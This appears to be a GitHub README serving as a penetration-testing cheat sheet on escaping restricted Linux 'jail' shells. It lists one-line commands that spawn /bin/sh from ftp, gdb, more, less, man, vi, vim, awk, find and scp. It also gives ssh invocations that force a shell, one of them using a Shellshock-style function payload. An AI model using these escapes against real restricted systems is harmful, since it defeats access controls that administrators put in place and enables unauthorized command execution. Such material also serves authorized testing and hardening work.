Skip to content

Latest commit

 

History

History
28 lines (27 loc) · 1.22 KB

README.md

File metadata and controls

28 lines (27 loc) · 1.22 KB
Raw

JAIL SHELL ESCAPE (LINUX)

Jail-shell is a Linux security tool mainly using chroot limiting users to perform specific commands,and access specific directories. Chroot, short for "change root", is a Unix operation that changes the apparent root directory to the one specified by the user. Any process you run after a chroot operation only has access to the newly defined root directory and its subdirectories.

Commands that let you execute shell commands

  • ftp > /bin/sh
  • gdb > /bin/sh
  • more > !/bin/sh
  • less > !/bin/sh
  • man > !/bin/sh
  • vi > :!/bin/sh
  • vim > :!/bin/sh
  • scp -S /tmp/getMeOut.sh x y:
  • awk 'BEGIN {system("/bin/sh")}'
  • find / -name FileName -exec /bin/sh \;
  • echo os.system('/bin/sh')
  • echo import('os').system("/bin/sh")

Maybe SSH can help to escape

SSH or Secure Shell is a network communication protocol that enables two computers to communicate and share data.

  • ssh username@target -t "/bin/sh"
  • ssh username@target -t "bash --noprofle"
  • ssh username@target -t "() { :; }; /bin/sh"